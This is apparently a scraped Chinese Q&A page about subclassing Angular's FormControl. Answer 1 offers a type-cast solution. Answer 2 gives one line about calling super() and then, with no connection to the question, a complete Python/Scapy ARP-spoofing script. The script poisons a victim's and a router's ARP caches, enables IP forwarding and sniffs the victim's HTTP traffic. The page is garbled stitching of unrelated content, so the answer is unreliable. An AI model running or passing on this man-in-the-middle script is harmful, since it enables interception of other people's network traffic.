Question

我正在尝试使用一些其他属性创建FormControl的子类，然后可以在我的自定义表单控件中使用它来更改行为。

我尝试从FormControl继承（比如StandardFormControl），如下所示，用于创建表单组但是当我在指令/其他地方访问formcontrol时，我没有得到子类表单控件的属性。

class StandardFormControl extends FormControl{
   customProperty: string
}

表单组创建如下

new FormGroup({
  firstName: new StandardFormControl('',[])
});

任何人都有任何想法？

Answer 1

据我所知，你必须对表单控件进行类型转换：

// first create the form group and store it in a variable:
const formGroup = new FormGroup({
  firstName: new StandardFormControl('',[])
});

// then you can access its controls:
(formGroup.get('firstName') as StandardFormControl).customProperty = 'customValue';

Answer 2

您必须在构造函数中调用super（）才能继承父类。

import os
import sys
i, o, e, = sys.stdin, sys.stdout, sys.stderr
from scapy.all import *
sys.stdin, sys.stdout, sys.stderr = i, o, e

VICTIM_IP = "10.0.0.164"
ROUTER_IP = "10.0.0.254"

""" finds mac of given IP """
def MACsnag(IP):
    ans, unans = arping(IP)
    for s, r in ans:
        return r[Ether].src

""" actual spoofing process gets victim ip to think i  am the router
    and the router thinks i am the victim"""
def Spoof(routerIP, victimIP):
    victimMAC = MACsnag(victimIP)
    routerMAC = MACsnag(routerIP)
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))

""" returns router and victim to regular connection"""
def Restore(routerIP, victimIP):
    victimMAC = MACsnag(victimIP)
    routerMAC = MACsnag(routerIP)
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=4)
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=4)

"""filters http packets in the network"""
def httpfilter(p):
    return TCP in p and p[TCP].dport == 80

"""sniffs using http filter and writes to console "i like cake" if www is in packet"""
def sniffer():
    f = lambda x: x.sprintf(" Source: %IP.src% : %Ether.src%, \n %Raw.load% \n\n Reciever: %IP.dst% \n +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n")
    pkts = sniff(lfilter=httpfilter, count=1, prn=f)
    for p in pkts:
        if "www" in p.sprintf('%Raw.load%'):
            print "i like cake"



def main():
    victimIP = VICTIM_IP
    routerIP = ROUTER_IP

    os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
    while 1:
        try:
            Spoof(routerIP, victimIP)
            sniffer()
            Restore(routerIP, victimIP)
            time.sleep(2)
        except KeyboardInterrupt:
            print "there was an exception"
            Restore(routerIP, victimIP)
            os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")


if __name__ == "__main__":
    main()

Angular 4 Inherited Formcontrol

2 个答案: